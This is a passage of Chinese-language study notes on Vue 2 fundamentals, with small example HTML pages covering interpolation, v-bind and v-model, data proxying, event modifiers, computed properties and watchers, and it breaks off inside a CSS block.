Vue学习笔记(一)

一、初始vue

Vue开发文档https://cn.vuejs.org/v2/guide/直接用script引入

完整版(包含完整的警告和调试模式):
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.js"></script>

压缩版(删除了警告):
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
  • 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象

  • root容器里的代码依然符合HTML规范,只不过混入了一些特殊的Vue语法

  • root容器里的代码被称为Vue模板

  • 真实开发中只有一个Vue实例,并且会配合着组件一起使用;

  • {xxx}}中的xxx可以自动读取到data中的相应属性,且xxx写js表达式时会自动执行;

  • 例如:{{name.toUpperCase()}} 大写,{{1+1}}输出值为二,{{Date.now()}}获取时间戳

  • 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

注意区分:js表达式 和 js代码(语句)

1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? 'a' : 'b'

2.js代码(语句)
(1). if(){}
(2). for(){}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>初始Vue</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <!---vue.js 开发版本 vue.min.js 生产版本-->
</head>
<body>
    <div id="root">
        <h1>Hello.{{name.toUpperCase()}}{{address}}{{Date.now()}}</h1><!--插值-->
    </div>
    <script type="text/javascript">
        Vue.config.devtools = true;
        Vue.config.productionTip = false;//阻止 vue在启动时生成生产提示
        //创建Vue实例
        new Vue ({
            el:'#root',//el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            data:{//data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
                name:'angle',
                address:'法国'
            }
        })
    </script>
</body>
</html>

二、Vue模板语法

Vue模板语法有2大类:

1.插值语法:

功能:用于解析标签体内容。

写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。

2.指令语法:

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。

举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,

且可以直接读取到data中的所有属性。

备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>模板语法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>、
    <!--准备好一个容器-->
    <div id="root">
        <h1>插值语法</h1>
        <h3>你好,{{name.toUpperCase()}}</h3>
        <hr/>
        <h1>指令语法</h1>
        <a v-bind:href="orr.url.toUpperCase()" target="_blank" :x="hello">{{orr.oname}}1</a>
        <a :href="orr.url" target="_blank"  :x="hello">{{orr.oname}}2</a>
    </div>
</body>
    <script type="text/javascript">
        Vue.config.productionTip = false; //阻止vue在启动时生成生产提示。
        new Vue({
            el:'#root',
            data:{
                name:'雪花-angle',
                hello:'巴黎',
                orr:{
                    url:'http://baidu.com',
                    oname:'千里'
                }
            }
        })
    </script>
</html>

三、数据绑定

  Vue中有2种数据绑定的方式:
         1.单向绑定(v-bind):数据只能从data流向页面。
         2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
             备注:
                  1.双向绑定一般都应用在表单类元素上(如:input、select等)
                  2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>数据绑定</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!-- 单向数据绑定:<input type="text" v-bind:value="name"/></br>
        双向数据绑定:<input type="text" v-model:value="name"/></br> -->
        <!--简写-->
        单向数据绑定:<input type="text" :value="name"/></br>
        双向数据绑定:<input type="text" v-model="name"/></br>
        <!--如下代码是错误的,因为 v-model只能引用在表单类元素(输入类元素)上-->
        <!-- <h2 v-model:x="name">你好啊</h2> -->
    </div>
</body>
    <script type="text/javascript">
        Vue.config.productionTip = false; //阻止vue在启动时生成生产提示。
        // Vue.config.devtools = true;
        new Vue  ({
            el:'#root',
            data:{
                name:'火花'
            }
        })
    </script>
</html>

 四、el与data的两种写法

data与el的2种写法

1.el有2种写法

(1).new Vue时候配置el属性。

(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。

2.data有2种写法

(1).对象式

(2).函数式

如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。

3.一个重要的原则:

由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>4.el与data的两种写法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
</body>
<script type="text/javascript">
    // Vue.config.productionTip = false; 
    // //el的两种写法
    // const v = new Vue  ({
    //     // el:'#root',
    //     data:{
    //     name:'花非花,雾非雾'
    //    }
    // })
    // // console.log(v);
    // v.$mount("#root");//第二种写法
    //data的两种写法
    Vue.config.productionTip = false; 
    new Vue  ({
        el:'#root',
        //data的第一种写法:对象式
        // data:{
        //     name:'花非花,雾非雾1'
        // }
        //data的第二种写法:函数式
        // data:function(){
        //     console.log('@@@',this);//此处是this是Vue实例对象
        //     return{
        //         name:'天明去'
        //     }
        // }
        data(){
            return {
                name:'夜半来'
            }
        }

    })
</script>
</html>

 五、MVVM模型

MVVM模型

1. M:模型(Model) :data中的数据

2. V:视图(View) :模板代码

3. VM:视图模型(ViewModel):Vue实例

观察发现:

1.data中所有的属性,最后都出现在了vm身上。

2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>5.MVVM模型</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--V(View)-->
    <div id="root">
        <h1>学校名称:{{name}}</h1>
        <h1>学校地址:{{address}}</h1>
        <h1>测试一下1:{{1+1}}</h1>
        <h1>测试一下2:{{$options}}</h1>
        <h1>测试一下3:{{$emit}}</h1>
        <h1>测试一下4:{{_c}}</h1>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; 
    const vm = new Vue({// <!--ViewModel(VM)-->
        // <!--Model(M)-->
        el:'#root',
        data:{
            name:'花非花',
            address:'华心',
            a:1,
        }
    })
    console.log(vm);
</script>
</html>

六、数据代理

1.Object.defineProperty()

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
    </div>
</body>
<script type="text/javascript">
    let number = 18;
    let person = {
        name:'张三',
        sex:'男',
        // age:29
    }
    Object.defineProperty(person,'age',{//defineProperty()方法定义的值不可枚举(遍历)
        //会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象。
        // value:18,
        // enumerable:true,//控制属性是否可以枚举,默认值是false
        // writable:true,//控制属性是否可以被修改。默认值是false(可以被修改)
        // configurable:true//控制属性是否可以被删除,默认是false

        //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get(){//读取
            console.log('有人读取age属性了');
            return number;//(value:18)
        },
        //当有人读取person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
         set(value){//赋值(writable:true)
            console.log('有人修改了age的属性,且值是',value);
            number = value;
        }
    });
    
    // console.log(Object.keys(person));//keys()返回一个视图对象,该对象显示所有键的列表。
    // for(let key in person)
    // {
    //     console.log('@',person[key]);
    // }
    // console.log(person);
</script>
</html>

 2.何为数据代理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
    </div>
</body>
<script type="text/javascript">
    let obj1 = {x:200};
    let obj2 = {y:300};
    Object.defineProperty(obj2,'x',{
        get(){
            return obj1.x;
        },set(value){
            obj1.x = value;
        }
    })
</script>
</html>

3.Vue中的数据代理

 1.Vue中的数据代理:

通过vm对象来代理data对象中属性的操作(读/写)

2.Vue中数据代理的好处:

更加方便的操作data中的数据

3.基本原理:

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性,都指定一个getter/setter。

在getter/setter内部去操作(读/写)data中对应的属性。

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>Vue中的数据代理</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

	<!-- 准备好一个容器-->
	<div id="root">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<!-- 如果没有数据代理,代码要这么写,寻找_data中的name属性与address属性,太过繁琐,
                因为vm上没有这两个属性,通过数据代理将这两个属性放在vm身上一份
		<h2>学校名称:{{_data.name}}</h2>
		<h2>学校地址:{{_data.address}}</h2> -->
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			address: '宏福科技园'
		}
	})
</script>

</html>

页面中学校名称原本为尚硅谷,data数据改变后页面内容也就跟着变了

 七、事件处理

1.事件的基本使用

事件的基本使用:

1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;

2.事件的回调需要配置在methods对象中,最终会在vm上;

3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;

4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;

5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;

 <button @click="showInfo2(58,$event)">点我出现雪花</button><   $event,占位,为了方法调用event,()括号里的参数可写可不写()

<button @click="showInfo1">点我出现枯叶蝶</button>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <button @click="showInfo1">点我出现枯叶蝶</button>
        <button @click="showInfo2(58,$event)">点我出现雪花</button><!--$event,占位,为了方法调用event,()括号里的参数可写可不写-->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; 
    const vm = new Vue  ({
        el:'#root',
        data:{
            name:'花非花,雾非雾'
        },
        methods:{
            showInfo1(event){
                alert("枯叶蝶~枯叶蝶~尽管,失去保护色");
                // console.log(event.target.innerText);//标签内容
                // console.log(this);//此处的this是vm
            },
            showInfo2(number,event){
                alert("撒盐空中差可拟");
                console.log(number+"****"+event.target.innerText);
            }
        }
    })
</script>
</html>

2.事件修饰符

Vue中的事件修饰符:

1.prevent:阻止默认事件(常用);

2.stop:阻止事件冒泡(常用);

3.once:事件只触发一次(常用);

4.capture:使用事件的捕获模式;

5.self:只有event.target是当前操作的元素时才触发事件;

6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        *{
            margin-top: 20px;
        }
        .demo1{
            height: 50px;
            background-color: skyblue;
        }
        .box1{
            padding: 5px;
            background-color: skyblue;
        }
        .box2{
            padding: 5px;
            background-color: orange;
        }
        .list{
            width: 200px;
            height: 200px;
            background-color: peru;
            overflow: auto;
        }
        li{
            height: 100px;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <!-- 阻止默认事件(常用) -->
        <a href="http://baidu.com" v-on:click.prevent="showInfo">点击提示信息</a>
        <!-- 阻止事件冒泡(常用) --><!--从内-->
        <div class="demo1" @click="showInfo">
            <!-- <button @click.stop="showInfo">点我提示信息</button> -->
            <a  href="http://baidu.com" @click.stop.prevent="showInfo">点我提示信息</a>
            <!--修饰符可以连续写(点击事件的停止冒泡和阻止跳转可以同时写)-->
        </div>
         <!-- 事件只触发一次 -->
        <button @click.once="showInfo">点我提示信息</button>
        <!--使用事件的捕获模式-->
        <div class="box1" @click.capture="showMsg(1)"> 
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>
        <!--只有event.target是当前操作的元素时才触发事件;-->
        <div class="demo1" @click.self="showInfo"><!--从外-->
            <button @click="showInfo">点我提示信息</button>
        </div>
         <!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
         <!-- <ul @scroll="demo" class="list"> -->
        <ul @scroll.passive="demo" class="list">
             <li>1</li>
             <li>2</li>
             <li>3</li>
             <li>4</li>
         </ul>
         <!-- @wheel滚轮滚动事件 @scroll滚动条滚动事件 -->
         <!--scroll滚动条滚动到底就不会触发事件了,heel滚轮滚动到底还会触发事件-->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; 
    const vm = new Vue  ({
        el:'#root',
        data:{
           name:'花非花,雾非雾'
       },
       methods:{
           showInfo(e){
            //    e.stopPropagation();
               alert("浪花火花和烟花,都有雪花爱着她");
            // console.log(e.target);
           },
           showMsg(msg)
           {
               alert(msg)
           },
           demo(){
               for(let i = 0;i<100000;i++)
               {
                   console.log(i);
               }
               console.log('累瘫了');
           }
       }
    })
</script>
</html>

 3.键盘事件

1.Vue中常用的按键别名:

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊,必须配合keydown去使用)

上 => up

下 => down

左 => left

右 => right

2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

3.系统修饰键(用法特殊):ctrl、alt、shift、meta

(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

(2).配合keydown使用:正常触发事件。

4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.con

fig.keyCodes.自定义键名 = 键码,可以去定制按键别名

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>欢迎来到{{name}}世界</h2>
        <!--keydown键盘按下马上触发,keyup键盘按下抬起才触发-->
        <!-- <input type="text" placeholder="按下回车键并提示" @keyup="showInfo"/> -->
        <input type="text" placeholder="按下回车键并提示" @keyup.ctrl.y="showInfo"/>
        <!--ctrl+y同时按才会触发-->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; 
    Vue.config.keyCodes.huiche = 13;//自定义的键名
    const vm = new Vue  ({
        el:'#root',
        data:{
            name:'花非花,雾非雾'
        },
        methods:{
            showInfo(e){
                // if(e.keyCode==13)
                // {
                //     console.log("你按下了回车键");
                //     console.log(e.target.value);//值
                // }
                // if(e.keyCode!==13)return;
                console.log(e.target.value);
                // console.log(e.key,e.keyCode);
            }
        }
    })
</script>
</html>

八、计算属性(computed)

1.姓名案例_插值语法实现

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>1.姓名案例_插值语法实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"/><br/><br/>
        名:<input type="text" v-model="lastName"/><br/><br/>
        <!-- 姓名:<span>{{firstName +'-' + lastName}}</span> -->
        姓名:<span>{{firstName.slice(0,3)}}+{{lastName}}</span>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       firstName:'浪',
       lastName:'花'
   }
})
</script>
</html>

2.姓名案例_methods实现

  • fullName带括号表示将函数的返回值展示出来,不带括号会展示出整个函数
  • 指令绑定事件加不加括号都行
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>2.姓名案例_methods实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"/><br/><br/>
        名:<input type="text" v-model="lastName"/><br/><br/>
        <!-- 姓名:<span>{{firstName +'-' + lastName}}</span> -->
        <!-- 姓名:<span>{{firstName.slice(0,3)}}+{{lastName}}</span> -->
        姓名:<span>{{fullName()}}</span>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       firstName:'浪',
       lastName:'花'
   },
   methods:{
       fullName(){
           return this.firstName + "-" +this.lastName;
       }
   }
})
</script>
</html>

3.姓名案例_计算属性实现

计算属性:

1.定义:要用的属性不存在,要通过已有属性计算得来。

2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。

3.get函数什么时候执行?

(1).初次读取时会执行一次。

(2).当依赖的数据发生改变时会被再次调用。

4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。

5.备注:

1.计算属性最终会出现在vm上,直接读取使用即可。

2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>2.姓名案例_methods实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"/><br/><br/>
        名:<input type="text" v-model="lastName"/><br/><br/>
        测试:<input type="text" v-model="x"/><br/><br/>
        <!-- 姓名:<span>{{firstName +'-' + lastName}}</span> -->
        <!-- 姓名:<span>{{firstName.slice(0,3)}}+{{lastName}}</span> -->
        姓名:<span>{{fullName}}</span><br/><br/>
        姓名:<span>{{fullName}}</span><br/><br/>
        姓名:<span>{{fullName}}</span><br/><br/>
        姓名:<span>{{fullName}}</span><br/><br/>
        姓名:<span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
// let a = 8;
const vm = new Vue  ({
    el:'#root',
    data:{
    //    name:'花非花,雾非雾',
       firstName:'浪',
       lastName:'花',
       x:'哈哈哈哈哈',
       a:'65',
   },
   computed:{
       /*完整写法*/
        //    fullName:{
        //        //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
        //        //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
        //         get(){
        //             console.log("被调用了");
        //             // console.log(this);//此处的this是vm
        //             return this.firstName + "-" + this.lastName + this.a;
        //         },
        //         //set什么时候调用?当fullName被修改时
        //         // set(value){
        //         // //   console.log('set',value);
        //         //     const arr = value.split('-');
        //         //     this.firstName = arr[0];
        //         //     this.lastName = arr[1];
        //         // }
        //         
        //    }
        /*简写*/
        //只读不改 set可以简写
        // fullName:{
        //     get(){
        //         console.log('被支配了');
        //         return this.firstName + '-' + this.lastName;
        //     }
        // }
        // fullName:function(){
        //     console.log('被支配了');
        //     return this.firstName + '-' + this.lastName;
        // }
        //计算属性不能开启异步返回
        fullName(){
            console.log('被支配了');
            return this.firstName + '-' + this.lastName;
        }
   }
})
</script>
</html>

九、监视属性

1.天气案例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>天气案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <!-- <h2>今天天气很{{hType}}</h2> -->
        <!-- <button @click="ishot">切换天气</button> -->
        <!-- <h2>今天天气很{{isHot?'炎热':'凉爽'}}</h2> -->
        <h2>今天天气很{{info}}{{x}}</h2>
        <button @click="changeWheather">切换天气</button>
        <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句
		比如下面两句功能相同,但是要记住模板里面找数据从vm内找,有些语句放入报错 -->
        <!-- <button @click="isHot = !isHot;x++;">切换天气</button> -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue  ({
        el:'#root',
        data:{
            isHot:true,
            x :1,
            // hType:'炎热'
       },
    //    methods:{
    //     ishot(){
    //             console.log(this.isHot);
    //            if(this.isHot) {this.hType = "凉爽";this.isHot = false;}
    //            else{this.hType = "炎热";this.isHot = true;}
    //        }
    //    }
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽';
            }
        },
        methods:{
            changeWheather(){
                this.isHot = !this.isHot;
                this.x ++;
            }
        }
    })
</script>
</html>

2.天气案例_监视属性

监视属性watch:

1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作

2.监视的属性必须存在,才能进行监视!!

3.监视的两种写法:

(1).new Vue时传入watch配置

(2).通过vm.$watch监视

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>天气案例_监视属性</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <!-- <h2>今天天气很{{hType}}</h2> -->
        <!-- <button @click="ishot">切换天气</button> -->
        <!-- <h2>今天天气很{{isHot?'炎热':'凉爽'}}</h2> -->
        <!-- <h2>今天天气很{{info}}{{x}}</h2> -->
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWheather">切换天气</button>
        <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句
		比如下面两句功能相同,但是要记住模板里面找数据从vm内找,有些语句放入报错 -->
        <!-- <button @click="isHot = !isHot;x++;">切换天气</button> -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue  ({
        el:'#root',
        data:{
            isHot:true,
            // x :1,
            // hType:'炎热'
       },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽';
            }
        },
        methods:{
            changeWheather(){
                this.isHot = !this.isHot;
                // this.x ++;
            }
        },
        /*watch方法1*/
        // watch:{
        //     isHot:{
        //         immediate:true,//初始化时让handler调用一下
        //         //handler什么时候被调用,当isHot发生改变时
        //         handler(newValue,oldValue){
        //             console.log('isHot值发生改变',oldValue,newValue);
        //         }
        //     },
        //     // info:{
        //     //     immediate:true,//初始化时让handler调用一下
        //     //     //handler什么时候被调用,当isHot发生改变时
        //     //     handler(newValue,oldValue){
        //     //         console.log('info值发生改变',oldValue,newValue);
        //     //     }
        //     // }
        // }
    })
    /*watch方法2*/
    vm.$watch('isHot',{
        immediate:true,//初始化时让handler调用一下
        //handler什么时候被调用,当isHot发生改变时
        handler(newValue,oldValue){
            console.log('isHot值发生改变',newValue,oldValue);
        }
    })
</script>
</html>

 3.天气案例_深度监视

 深度监视:

(1).Vue中的watch默认不监测对象内部值的改变(一层)。

(2).配置deep:true可以监测对象内部值改变(多层)。

备注:

(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!

(2).使用watch时根据数据的具体结构,决定是否采用深度监视。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>天气案例_深度监视</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <!-- <h2>今天天气很{{hType}}</h2> -->
        <!-- <button @click="ishot">切换天气</button> -->
        <!-- <h2>今天天气很{{isHot?'炎热':'凉爽'}}</h2> -->
        <!-- <h2>今天天气很{{info}}{{x}}</h2> -->
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWheather">切换天气</button>
        <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句
		比如下面两句功能相同,但是要记住模板里面找数据从vm内找,有些语句放入报错 -->
        <!-- <button @click="isHot = !isHot;x++;">切换天气</button> -->
        <hr/>
        <div>a的值是:{{number.a}}</div>
        <button @click="number.a++">点我让a+1</button>
        <div>b的值是:{{number.b}}</div>
        <button @click="number.b++">点我让b+1</button>
        <button @click="number={a:666,b:999}">彻底替换掉numbers</button>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue  ({
        el:'#root',
        data:{
            isHot:true,
            number:{
                a:1,
                b:2,
            }
       },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽';
            }
        },
        methods:{
            changeWheather(){
                this.isHot = !this.isHot;
                // this.x ++;
            }
        },
        watch:{
            isHot:{
                immediate:true,//初始化时让handler调用一下
                //handler什么时候被调用,当isHot发生改变时
                handler(newValue,oldValue){
                    console.log('isHot值发生改变',oldValue,newValue);
                }
            },
            //监视多级结构中某个属性的变化
            'number.a':{
                handler(){
                    console.log('a发生了改变');
                }
            },
            'number.b':{
                handler(){
                    console.log('b发生了改变');
                }
            },
            //监视多级结构中所有属性的变化
            number:{
                deep:true,//深度监视(观察number(第一级),以及它的子级abcd...的内容)
                handler(){
                    console.log('number发生了变化');
                }
            }
        }
    })
</script>
</html>

 4.天气案例_监视属性_简写

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>天气案例_监视属性_简写</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWheather">切换天气</button>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue  ({
        el:'#root',
        data:{
            isHot:true,
       },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽';
            }
        },
        methods:{
            changeWheather(){
                this.isHot = !this.isHot;
                // this.x ++;
            }
        },
        watch:{
            //正常写法
            // isHot:{
            //     // immediate:true,//初始化时让handler调用一下
            //     // deeptrue,//深度监视(观察number(第一级),以及它的子级abcd...的内容)
            //     handler(newValue,oldValue){
            //         console.log('isHot值发生改变',oldValue,newValue);
            //     }
            // }
            //简写(不需要immediate和deeptrue这两个属性,只需要handler()时可以简写)
            // isHot(newValue,oldValue){
            //     console.log('isHot值发生改变',oldValue,newValue);
            // }
        }
    })
    vm.$watch('isHot',function(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue,this);
    })
</script>
</html>

 5.姓名案例_watch实现

 computed和watch之间的区别:

1.computed能完成的功能,watch都可以完成。

2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。

两个重要的小原则:

1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。

2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,

这样this的指向才是vm 或 组件实例对象。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>5.姓名案例_watch实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"/><br/><br/>
        名:<input type="text" v-model="lastName"/><br/><br/>
        全名:<span>{{fullName}}</span><br/><br/>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
// let a = 8;
const vm = new Vue  ({
    el:'#root',
    data:{
       firstName:'耿',
       lastName:'若辰',
       fullName:'耿-若辰'
   },
   watch:{
       firstName(val){
            setTimeout(()=>{
                this.fullName = val + '-'+this.lastName;
            },1000)
       },
       lastName(val){
            this.fullName =this.firstName + '-'+val;
       }
   }
})
</script>
</html>

 十、绑定样式

 绑定样式:

1. class样式

写法:class="xxx" xxx可以是字符串、对象、数组。

字符串写法适用于:类名不确定,要动态获取。

对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。

数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

2. style样式

:style="{fontSize: xxx}"其中xxx是动态值。

:style="[a,b]"其中a、b是样式对象。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        .basic{
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        
        .happy{
            border: 4px solid red;;
